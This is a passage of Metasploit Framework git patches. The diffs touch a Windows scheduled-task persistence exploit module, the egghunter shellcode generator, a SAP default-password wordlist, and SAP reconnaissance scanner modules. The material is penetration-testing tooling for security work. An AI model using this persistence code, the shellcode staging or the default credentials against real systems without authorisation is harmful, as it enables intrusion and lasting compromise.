@@ -267,6 +230,10 @@ class Client opts['encode_params'] = false end + if opts['basic_auth'] and not opts['authorization'] + opts['authorization'] = Rex::Text.encode_base64(opts['basic_auth']) + end + req = ClientRequest.new(opts,self.config) end @@ -322,7 +289,7 @@ class Client def send_recv(req, t = -1, persist=false) res = _send_recv(req,t,persist) if res and res.code == 401 and res.headers['WWW-Authenticate'] and have_creds? - res = send_auth(res, req.options, t, persist) + res = send_auth(res, req.opts, t, persist) end res end diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index cb76327f2b..c24d9a8c4a 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -2,6 +2,7 @@ require 'uri' require 'rex/proto/http' + module Rex module Proto module Http @@ -31,6 +32,8 @@ class ClientRequest attr_accessor :vars_post attr_accessor :version + attr_reader :opts + def initialize(opts={}, client_config) @cgi = opts['cgi'] @config = client_config @@ -53,6 +56,7 @@ class ClientRequest @vars_get = opts['vars_get'] @vars_post = opts['vars_post'] @version = opts['version'] + @opts = opts end def to_s @@ -156,13 +160,14 @@ class ClientRequest end def set_uri + uri_str = uri if (config['uri_dir_self_reference']) - uri.gsub!('/', '/./') + uri_str.gsub!('/', '/./') end if (config['uri_dir_fake_relative']) buf = "" - uri.split('/').each do |part| + uri_str.split('/').each do |part| cnt = rand(8)+2 1.upto(cnt) { |idx| buf << "/" + Rex::Text.rand_text_alphanumeric(rand(32)+1) @@ -170,17 +175,17 @@ class ClientRequest buf << ("/.." * cnt) buf << "/" + part end - uri = buf + uri_str = buf end if (config['uri_full_url']) url = self.ssl ? "https" : "http" url << self.config['vhost'] url << ((self.port == 80) ? "" : ":#{self.port}") - url << uri + url << uri_str url else - uri + uri_str end end From 25f8a7dcb9d39ff975d8daf1eeff83646438716d Mon Sep 17 00:00:00 2001 From: Thomas McCarthy Date: Sun, 17 Feb 2013 22:35:52 -0500 Subject: [PATCH 119/341] Fix expire tag logic and slight clean up Was a dumbass again and didn't fully understand how Optints worked when left blank at run time. If not 0 the expire tag will be inserted now. Also made it print the xpath if used because I believe it will be of value to the user for trouble shooting. --- .../exploits/windows/local/s4u_persistence.rb | 22 +++++++++++-------- 1 file changed, 13 insertions(+), 9 deletions(-) diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index e6197463c5..5eaad52e4d 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Local 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], - 'DisclosureDate' => [ 'Jan 2 2013' ], + 'DisclosureDate' => [ 'Jan 2 2013' ], # Date of scriptjunkie's blog post 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/'], @@ -207,8 +207,9 @@ class Metasploit3 < Msf::Exploit::Local if not datastore['XPATH'].nil? # Append xpath queries line << " and #{datastore['XPATH']}" + # Print XPath query, useful to user to spot issues with uncommented single quotes + print_status("XPath query: #{line}") end - vprint_status("XPath query: #{line}") xml = create_trigger_event_tags(datastore['EVENT_LOG'], line, xml) @@ -222,12 +223,15 @@ class Metasploit3 < Msf::Exploit::Local end xml = xml.sub(/.*?PT#{minutes}M<") - # Generate expire tag - end_boundary = create_expire_tag if datastore['EXPIRE_TIME'] + # Insert expire tag if not 0 + unless datastore['EXPIRE_TIME'] == 0 + # Generate expire tag + end_boundary = create_expire_tag - # Inject expire tag - insert = xml.index("") - xml.insert(insert + 16, "\n #{end_boundary}") + # Inject expire tag + insert = xml.index("") + xml.insert(insert + 16, "\n #{end_boundary}") + end end return xml end @@ -266,7 +270,7 @@ class Metasploit3 < Msf::Exploit::Local # Create session state trigger, weird spacing used to maintain # natural Winadows spacing for XML export temp_xml = "\n" - temp_xml << " #{create_expire_tag}" if not datastore['EXPIRE_TIME'] + temp_xml << " #{create_expire_tag}" unless datastore['EXPIRE_TIME'] == 0 temp_xml << " true\n" temp_xml << " #{trig}\n" temp_xml << " #{domain}\\#{user}\n" @@ -286,7 +290,7 @@ class Metasploit3 < Msf::Exploit::Local # Fscked up XML syntax for windows event #{id} in #{log}, weird spacind # used to maintain natural Windows spacing for XML export temp_xml = "\n" - temp_xml << " #{create_expire_tag}\n" if not datastore['EXPIRE_TIME'] + temp_xml << " #{create_expire_tag}\n" unless datastore['EXPIRE_TIME'] == 0 temp_xml << " true\n" temp_xml << " <QueryList><Query Id=\"0\" " temp_xml << "Path=\"#{log}\"><Select Path=\"#{log}\">" From 0d4a6c6a0434dd9543f3362bcddfe02c7b553b3e Mon Sep 17 00:00:00 2001 From: corelanc0d3r Date: Mon, 18 Feb 2013 12:45:49 +0100 Subject: [PATCH 120/341] support for searchforward option in egghunter --- lib/rex/exploitation/egghunter.rb | 23 ++++++++++++++++++----- 1 file changed, 18 insertions(+), 5 deletions(-) diff --git a/lib/rex/exploitation/egghunter.rb b/lib/rex/exploitation/egghunter.rb index f65545a67b..e937bb082b 100644 --- a/lib/rex/exploitation/egghunter.rb +++ b/lib/rex/exploitation/egghunter.rb @@ -22,6 +22,7 @@ module Exploitation # Conversion to use Metasm by jduck # Startreg code added by corelanc0d3r # Added routine to disable DEP for discovered egg (for win, added by corelanc0d3r) +# Added support for searchforward option (true or false) # ### class Egghunter @@ -42,7 +43,8 @@ class Egghunter # def hunter_stub(payload, badchars = '', opts = {}) - startreg = opts[:startreg] + startreg = opts[:startreg] + searchforward = opts[:searchforward] raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4 marker = "0x%x" % opts[:eggtag].unpack('V').first @@ -59,6 +61,19 @@ class Egghunter end startstub << "\n\t" if startstub.length > 0 + # search forward or backward ? + flippage = "\n\tor dx,0xfff" + edxdirection = "\n\tinc edx" + + if searchforward + if searchforward.to_s.downcase == 'false' + # go backwards + flippage = "\n\txor dl,dl" + edxdirection = "\n\tdec edx" + end + end + + # other vars getpointer = '' getsize = '' getalloctype = '' @@ -194,9 +209,9 @@ class Egghunter #{getpointer} #{startstub} check_readable: - or dx,0xfff + #{flippage} next_addr: - inc edx + #{edxdirection} push edx push 0x02 ; use NtAccessCheckAndAuditAlarm syscall pop eax @@ -213,10 +228,8 @@ check_for_tag: ; it must match a second time too scasd jne next_addr - ; check the checksum if the feature is enabled #{checksum} - ; jump to the payload #{jmppayload} EOS From 416a7aeaa3bfe064a65759c1313a12f9ef058892 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 18 Feb 2013 15:23:06 +0100 Subject: [PATCH 121/341] make msftidy happy for s4u_persistence --- modules/exploits/windows/local/s4u_persistence.rb | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 5eaad52e4d..188b8e643c 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Local 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], - 'DisclosureDate' => [ 'Jan 2 2013' ], # Date of scriptjunkie's blog post + 'DisclosureDate' => 'Jan 2 2013', # Date of scriptjunkie's blog post 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/'], @@ -141,7 +141,6 @@ class Metasploit3 < Msf::Exploit::Local begin write_file(path, payload) rescue => e - puts e fail_with(Exploit::Failure::Unknown, "Could not upload to #{path}") end print_status("Successfully uploaded remote executable to #{path}") @@ -152,7 +151,7 @@ class Metasploit3 < Msf::Exploit::Local # Returns normal XML for generic task def create_xml(rexe_path) - xml_path = File.join(Msf::Config.install_root, "data", "exploits", "s4u_persistence") + xml_path = File.join(Msf::Config.install_root, "data", "exploits", "s4u_persistence.xml") xml_file = File.new(xml_path,"r") xml = xml_file.read xml_file.close @@ -204,7 +203,7 @@ class Metasploit3 < Msf::Exploit::Local when 'event' line = "*[System[(EventID=#{datastore['EVENT_ID']})]]" - if not datastore['XPATH'].nil? + if not datastore['XPATH'].nil? and not datastore['XPATH'].empty? # Append xpath queries line << " and #{datastore['XPATH']}" # Print XPath query, useful to user to spot issues with uncommented single quotes @@ -226,8 +225,7 @@ class Metasploit3 < Msf::Exploit::Local # Insert expire tag if not 0 unless datastore['EXPIRE_TIME'] == 0 # Generate expire tag - end_boundary = create_expire_tag - + end_boundary = create_expire_tag # Inject expire tag insert = xml.index("") xml.insert(insert + 16, "\n #{end_boundary}") From c8778587f5233f49eb0f86cb15e2e018bb66daa8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 18 Feb 2013 15:25:03 +0100 Subject: [PATCH 122/341] rename the xml template for s4u --- data/exploits/{s4u_persistence => s4u_persistence.xml} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename data/exploits/{s4u_persistence => s4u_persistence.xml} (100%) diff --git a/data/exploits/s4u_persistence b/data/exploits/s4u_persistence.xml similarity index 100% rename from data/exploits/s4u_persistence rename to data/exploits/s4u_persistence.xml From 9af43bc05c4b98d4cabe616579a07eb34399eccd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 18 Feb 2013 15:58:29 +0100 Subject: [PATCH 123/341] newline to sap_default.txt --- data/wordlists/sap_default.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/data/wordlists/sap_default.txt b/data/wordlists/sap_default.txt index 2102fd069b..fc64ceb34b 100644 --- a/data/wordlists/sap_default.txt +++ b/data/wordlists/sap_default.txt @@ -14,4 +14,5 @@ J2EE_ADMIN ch4ngeme SAPJSF ch4ngeme SAPR3 SAP CTB_ADMIN sap123 -XMI_DEMO sap123 \ No newline at end of file +XMI_DEMO sap123 + From b72d2b59f84ae70978f416c65cf303f5fa3007f0 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 18 Feb 2013 18:02:51 -0600 Subject: [PATCH 124/341] Add logging in case of exceptions during rm --- lib/msf/core/exploit/file_dropper.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index 6298354b67..12ef03efb2 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -56,7 +56,7 @@ module Exploit::FileDropper # # Record file as needing to be cleaned up # - # @param [Array] files List of paths on the target that should + # @param files [Array] List of paths on the target that should # be deleted during cleanup. Each filename should be either a full # path or relative to the current working directory of the session # (not necessarily the same as the cwd of the server we're @@ -95,7 +95,9 @@ module Exploit::FileDropper true #rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE, ::Rex::Post::Meterpreter::RequestError => e rescue ::Exception => e - vprint_error("Failed to delete #{file}: #{e.to_s}") + vprint_error("Failed to delete #{file}: #{e}") + elog("Failed to delete #{file}: #{e.class}: #{e}") + elog("Call stack:\n#{e.backtrace.join("\n")}") false end end From 867ab2f269365d7c0de0591c2a96e64c7928d5d9 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 18 Feb 2013 19:01:03 -0600 Subject: [PATCH 125/341] Whitespace --- lib/rex/proto/smb/client.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index bec1ff50d5..72c35379fb 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -1899,7 +1899,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils resp = find_next(last_search_id, last_offset, last_filename) search_next = 1 # Flip bit so response params will parse correctly end - end until eos != 0 or last_offset == 0 + end until eos != 0 or last_offset == 0 rescue ::Exception raise $! end From 4170a85d8adb8384d467176dd7a1d935455205aa Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Tue, 19 Feb 2013 09:42:13 +0100 Subject: [PATCH 126/341] Added logic to only report when value is present --- .../scanner/sap/sap_icf_rfc_system_info.rb | 38 +++++++++---------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb index dd47aaa5c7..602d270cb6 100644 --- a/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb @@ -126,6 +126,7 @@ class Metasploit4 < Msf::Auxiliary # output table print(saptbl.to_s) + # report notes report_note( :host => ip, :proto => 'tcp', @@ -133,7 +134,7 @@ class Metasploit4 < Msf::Auxiliary :sname => 'sap', :type => 'sap.version.release', :data => "Release Status of SAP System: #{rfcsaprl}" - ) + ) if not rfcsaprl.empty? report_note( :host => ip, @@ -142,7 +143,7 @@ class Metasploit4 < Msf::Auxiliary :sname => 'sap', :type => 'sap.version.rfc_log', :data => "RFC Log Version: #{rfcproto}" - ) + ) if not rfcproto.empty? report_note( :host => ip, @@ -151,7 +152,7 @@ class Metasploit4 < Msf::Auxiliary :sname => 'sap', :type => 'sap.version.kernel', :data => "Kernel Release: #{rfckernrl}" - ) + ) if not rfckernrl.empty? report_note( :host => ip, @@ -160,7 +161,7 @@ class Metasploit4 < Msf::Auxiliary :sname => 'sap', :type => 'system.os', :data => "Operating System: #{rfcopsys}" - ) + ) if not rfcopsys.empty? report_note( :host => ip, @@ -168,7 +169,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.db.hostname', :data => "Database Host: #{rfcdbhost}" - ) + ) if not rfcdbhost.empty? report_note( :host => ip, @@ -176,9 +177,9 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.db_system', :data => "Central Database System: #{rfcdbsys}" - ) + ) if not rfcdbsys.empty? - if rfcinttyp == 'LIT' + if rfcinttyp == 'LIT' report_note( :host => ip, :proto => 'tcp', @@ -186,7 +187,7 @@ class Metasploit4 < Msf::Auxiliary :type => 'system.endianness', :data => "Integer Format: Little Endian" ) - else + elsif not rfcinttyp.empty? report_note( :host => ip, :proto => 'tcp', @@ -202,7 +203,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'system.hostname', :data => "Hostname: #{rfchost}" - ) + ) if not rfchost.empty? if rfcflotyp == 'IE3' report_note( @@ -212,7 +213,7 @@ class Metasploit4 < Msf::Auxiliary :type => 'system.float_type', :data => "Float Type Format: IEEE" ) - else + elsif not rfcflotyp.empty? report_note( :host => ip, :proto => 'tcp', @@ -228,7 +229,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'system.ip.v4', :data => "IPv4 Address: #{rfcipaddr}" - ) + ) if not rfcipaddr.empty? report_note( :host => ip, @@ -236,7 +237,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'system.ip.v6', :data => "IPv6 Address: #{rfcipv6addr}" - ) + ) if not rfcipv6addr.empty? report_note( :host => ip, @@ -244,7 +245,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.instance', :data => "System ID: #{rfcsysid}" - ) + ) if not rfcsysid.empty? report_note( :host => ip, @@ -252,7 +253,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.rfc.destination', :data => "RFC Destination: #{rfcdest}" - ) + ) if not rfcdest.empty? report_note( :host => ip, @@ -260,7 +261,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'system.timezone', :data => "Timezone: #{rfctzone.gsub(/\s+/, "")} (diff from UTC in seconds)" - ) + ) if not rfctzone.empty? report_note( :host => ip, @@ -268,7 +269,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'system.charset', :data => "Character Set: #{rfcchartyp}" - ) + ) if not rfcchartyp.empty? report_note( :host => ip, @@ -276,8 +277,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.daylight_saving_time', :data => "Daylight Saving Time: #{rfcdayst}" - ) - + ) if not rfcdayst.empty? report_note( :host => ip, @@ -285,6 +285,6 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.machine_id', :data => "Machine ID: #{rfcmach.gsub(/\s+/, "")}" - ) + ) if not rfcmach.empty? end end \ No newline at end of file From d4011227e3cc98e2efec5d462be815451cbd1753 Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Tue, 19 Feb 2013 09:43:36 +0100 Subject: [PATCH 127/341] Made suitable changes to original module also (only report on non empty response) --- .../scanner/sap/sap_soap_rfc_system_info.rb | 39 ++++++++++--------- 1 file changed, 20 insertions(+), 19 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb index 80c4168c0f..7676ad2611 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb @@ -145,8 +145,10 @@ class Metasploit4 < Msf::Auxiliary saptbl << [ "Character Set", rfcchartyp ] saptbl << [ "Daylight Saving Time", rfcdayst ] saptbl << [ "Machine ID", rfcmach.gsub(/\s+/, "")] + # output table print(saptbl.to_s) + # report notes report_note( :host => ip, :proto => 'tcp', @@ -154,7 +156,7 @@ class Metasploit4 < Msf::Auxiliary :sname => 'sap', :type => 'sap.version.release', :data => "Release Status of SAP System: #{rfcsaprl}" - ) + ) if not rfcsaprl.empty? report_note( :host => ip, @@ -163,7 +165,7 @@ class Metasploit4 < Msf::Auxiliary :sname => 'sap', :type => 'sap.version.rfc_log', :data => "RFC Log Version: #{rfcproto}" - ) + ) if not rfcproto.empty? report_note( :host => ip, @@ -172,7 +174,7 @@ class Metasploit4 < Msf::Auxiliary :sname => 'sap', :type => 'sap.version.kernel', :data => "Kernel Release: #{rfckernrl}" - ) + ) if not rfckernrl.empty? report_note( :host => ip, @@ -181,7 +183,7 @@ class Metasploit4 < Msf::Auxiliary :sname => 'sap', :type => 'system.os', :data => "Operating System: #{rfcopsys}" - ) + ) if not rfcopsys.empty? report_note( :host => ip, @@ -189,7 +191,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.db.hostname', :data => "Database Host: #{rfcdbhost}" - ) + ) if not rfcdbhost.empty? report_note( :host => ip, @@ -197,9 +199,9 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.db_system', :data => "Central Database System: #{rfcdbsys}" - ) + ) if not rfcdbsys.empty? - if rfcinttyp == 'LIT' + if rfcinttyp == 'LIT' report_note( :host => ip, :proto => 'tcp', @@ -207,7 +209,7 @@ class Metasploit4 < Msf::Auxiliary :type => 'system.endianness', :data => "Integer Format: Little Endian" ) - else + elsif not rfcinttyp.empty? report_note( :host => ip, :proto => 'tcp', @@ -223,7 +225,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'system.hostname', :data => "Hostname: #{rfchost}" - ) + ) if not rfchost.empty? if rfcflotyp == 'IE3' report_note( @@ -233,7 +235,7 @@ class Metasploit4 < Msf::Auxiliary :type => 'system.float_type', :data => "Float Type Format: IEEE" ) - else + elsif not rfcflotyp.empty? report_note( :host => ip, :proto => 'tcp', @@ -249,7 +251,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'system.ip.v4', :data => "IPv4 Address: #{rfcipaddr}" - ) + ) if not rfcipaddr.empty? report_note( :host => ip, @@ -257,7 +259,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'system.ip.v6', :data => "IPv6 Address: #{rfcipv6addr}" - ) + ) if not rfcipv6addr.empty? report_note( :host => ip, @@ -265,7 +267,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.instance', :data => "System ID: #{rfcsysid}" - ) + ) if not rfcsysid.empty? report_note( :host => ip, @@ -273,7 +275,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.rfc.destination', :data => "RFC Destination: #{rfcdest}" - ) + ) if not rfcdest.empty? report_note( :host => ip, @@ -281,7 +283,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'system.timezone', :data => "Timezone: #{rfctzone.gsub(/\s+/, "")} (diff from UTC in seconds)" - ) + ) if not rfctzone.empty? report_note( :host => ip, @@ -289,7 +291,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'system.charset', :data => "Character Set: #{rfcchartyp}" - ) + ) if not rfcchartyp.empty? report_note( :host => ip, @@ -297,8 +299,7 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.daylight_saving_time', :data => "Daylight Saving Time: #{rfcdayst}" - ) - + ) if not rfcdayst.empty? report_note( :host => ip, @@ -306,6 +307,6 @@ class Metasploit4 < Msf::Auxiliary :port => rport, :type => 'sap.machine_id', :data => "Machine ID: #{rfcmach.gsub(/\s+/, "")}" - ) + ) if not rfcmach.empty? end end From a75bae927d59984fb6c980fbb634eb1ce825bd54 Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Tue, 19 Feb 2013 11:12:12 +0100 Subject: [PATCH 128/341] Replaced report_note and table output with single function Added proposed extract data function (HDM) --- .../scanner/sap/sap_icf_rfc_system_info.rb | 269 +++++------------ .../scanner/sap/sap_soap_rfc_system_info.rb | 273 +++++------------- 2 files changed, 143 insertions(+), 399 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb index 602d270cb6..6679e13e44 100644 --- a/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb @@ -49,6 +49,27 @@ class Metasploit4 < Msf::Auxiliary ], self.class) end + def extract_field(data, elem) + if data =~ /<#{elem}>([^<]+)<\/#{elem}>/i + return $1 + end + nil + end + + def report_note_sap(type, data, value) + # create note + report_note( + :host => rhost, + :port => rport, + :proto => 'tcp', + :sname => 'sap', + :type => type, + :data => data + value + ) if data + # update saptbl for output + @saptbl << [ data, value ] + end + def run_host(ip) print_status("[SAP] #{ip}:#{rport} - Sending RFC_SYSTEM_INFO request to SAP Application Server") @@ -58,6 +79,9 @@ class Metasploit4 < Msf::Auxiliary if res and res.code != 200 print_error("[SAP] #{ip}:#{rport} - Server did not respond as expected") return + elsif not res + print_error("[SAP] #{ip}:#{rport} - Server did not respond") + return end rescue ::Rex::ConnectionError print_error("[SAP] #{ip}:#{rport} - Unable to connect") @@ -66,7 +90,8 @@ class Metasploit4 < Msf::Auxiliary print_status("[SAP] #{ip}:#{rport} - Response received") - saptbl = Msf::Ui::Console::Table.new( + # create table for output + @saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, 'Header' => "[SAP] ICF RFC_SYSTEM_INFO", 'Prefix' => "\n", @@ -76,215 +101,59 @@ class Metasploit4 < Msf::Auxiliary "Key", "Value" ]) + response = res.body - rfcproto = $1 if response =~ /(.*)<\/RFCPROTO>/i - rfcchartyp = $1 if response =~ /(.*)<\/RFCCHARTYP>/i - rfcinttyp = $1 if response =~ /(.*)<\/RFCINTTYP>/i - rfcflotyp = $1 if response =~ /(.*)<\/RFCFLOTYP>/i - rfcdest = $1 if response =~ /(.*)<\/RFCDEST>/i - rfchost = $1 if response =~ /(.*)<\/RFCHOST>/i - rfcsysid = $1 if response =~ /(.*)<\/RFCSYSID>/i - rfcdbhost = $1 if response =~ /(.*)<\/RFCDBHOST>/i - rfcdbsys = $1 if response =~ /(.*)<\/RFCDBSYS>/i - rfcsaprl = $1 if response =~ /(.*)<\/RFCSAPRL>/i - rfcmach = $1 if response =~ /(.*)<\/RFCMACH>/i - rfcopsys = $1 if response =~ /(.*)<\/RFCOPSYS>/i - rfctzone = $1 if response =~ /(.*)<\/RFCTZONE>/i - rfcdayst = $1 if response =~ /(.*)<\/RFCDAYST>/i - rfcipaddr = $1 if response =~ /(.*)<\/RFCIPADDR>/i - rfckernrl = $1 if response =~ /(.*)<\/RFCKERNRL>/i - rfcipv6addr = $1 if response =~ /(.*)<\/RFCIPV6ADDR>/i - saptbl << [ "Release Status of SAP System", rfcsaprl ] - saptbl << [ "RFC Log Version", rfcproto ] - saptbl << [ "Kernel Release", rfckernrl ] - saptbl << [ "Operating System", rfcopsys ] - saptbl << [ "Database Host", rfcdbhost] - saptbl << [ "Central Database System", rfcdbsys ] + # extract data from response body + rfcproto = extract_field(response, 'rfcproto') + rfcchartyp = extract_field(response, 'rfcchartyp') + rfcinttyp = extract_field(response, 'rfcinttyp') + rfcflotyp = extract_field(response, 'rfcflotyp') + rfcdest = extract_field(response, 'rfcdest') + rfchost = extract_field(response, 'rfchost') + rfcsysid = extract_field(response, 'rfcsysid') + rfcdbhost = extract_field(response, 'rfcdbhost') + rfcdbsys = extract_field(response, 'rfcdbsys') + rfcsaprl = extract_field(response, 'rfcsaprl') + rfcmach = extract_field(response, 'rfcmach') + rfcopsys = extract_field(response, 'rfcopsys') + rfctzone = extract_field(response, 'rfctzone') + rfcdayst = extract_field(response, 'rfcdayst') + rfcipaddr = extract_field(response, 'rfcipaddr') + rfckernrl = extract_field(response, 'rfckernrl') + rfcipv6addr = extract_field(response, 'rfcipv6addr') - if rfcinttyp == 'LIT' - saptbl << [ "Integer Format", "Little Endian" ] - else - saptbl << [ "Integer Format", "Big Endian" ] - end - saptbl << [ "Hostname", rfchost ] - - if rfcflotyp == 'IE3' - saptbl << [ "Float Type Format", "IEEE" ] - else - saptbl << [ "Float Type Format", "IBM/370" ] - end - - saptbl << [ "IPv4 Address", rfcipaddr ] - saptbl << [ "IPv6 Address", rfcipv6addr ] - saptbl << [ "System ID", rfcsysid ] - saptbl << [ "RFC Destination", rfcdest ] - saptbl << [ "Timezone", "#{rfctzone.gsub(/\s+/, "")} (diff from UTC in seconds)" ] - saptbl << [ "Character Set", rfcchartyp ] - saptbl << [ "Daylight Saving Time", rfcdayst ] - saptbl << [ "Machine ID", rfcmach.gsub(/\s+/, "")] - # output table - print(saptbl.to_s) - - # report notes - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :sname => 'sap', - :type => 'sap.version.release', - :data => "Release Status of SAP System: #{rfcsaprl}" - ) if not rfcsaprl.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :sname => 'sap', - :type => 'sap.version.rfc_log', - :data => "RFC Log Version: #{rfcproto}" - ) if not rfcproto.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :sname => 'sap', - :type => 'sap.version.kernel', - :data => "Kernel Release: #{rfckernrl}" - ) if not rfckernrl.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :sname => 'sap', - :type => 'system.os', - :data => "Operating System: #{rfcopsys}" - ) if not rfcopsys.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.db.hostname', - :data => "Database Host: #{rfcdbhost}" - ) if not rfcdbhost.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.db_system', - :data => "Central Database System: #{rfcdbsys}" - ) if not rfcdbsys.empty? + # report notes / create saptbl output + report_note_sap('sap.version.release','Release Status of SAP System: ',rfcsaprl) if rfcsaprl + report_note_sap('sap.version.rfc_log','RFC Log Version: ',rfcproto) if rfcproto + report_note_sap('sap.version.kernel','Kernel Release: ',rfckernrl) if rfckernrl + report_note_sap('system.os','Operating System: ',rfcopsys) if rfcopsys + report_note_sap('sap.db.hostname','Database Host: ',rfcdbhost) if rfcdbhost + report_note_sap('sap.db_system','Central Database System: ',rfcdbsys) if rfcdbsys + report_note_sap('system.hostname','Hostname: ',rfchost) if rfchost + report_note_sap('system.ip.v4','IPv4 Address: ',rfcipaddr) if rfcipaddr + report_note_sap('system.ip.v6','IPv6 Address: ',rfcipv6addr) if rfcipv6addr + report_note_sap('sap.instance','System ID: ',rfcsysid) if rfcsysid + report_note_sap('sap.rfc.destination','RFC Destination: ',rfcdest) if rfcdest + report_note_sap('system.timezone','Timezone (diff from UTC in seconds): ',rfctzone.gsub(/\s+/, "")) if rfctzone + report_note_sap('system.charset','Character Set: ',rfcchartyp) if rfcchartyp + report_note_sap('sap.daylight_saving_time','Daylight Saving Time: ',rfcdayst) if rfcdayst + report_note_sap('sap.machine_id','Machine ID: ',rfcmach.gsub(/\s+/,"")) if rfcmach if rfcinttyp == 'LIT' - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.endianness', - :data => "Integer Format: Little Endian" - ) - elsif not rfcinttyp.empty? - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.endianness', - :data => "Integer Format: Big Endian" - ) + report_note_sap('system.endianness','Integer Format: ', 'Little Endian') + elsif rfcinttyp + report_note_sap('system.endianness','Integer Format: ', 'Big Endian') end - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.hostname', - :data => "Hostname: #{rfchost}" - ) if not rfchost.empty? - if rfcflotyp == 'IE3' - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.float_type', - :data => "Float Type Format: IEEE" - ) - elsif not rfcflotyp.empty? - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.float_type', - :data => "Float Type Format: IBM/370" - ) + report_note_sap('system.float_type','Float Type Format: ', 'IEEE') + elsif rfcflotyp + report_note_sap('system.float_type','Float Type Format: ', 'IBM/370') end - report_note( - :host => ip, - :proto => 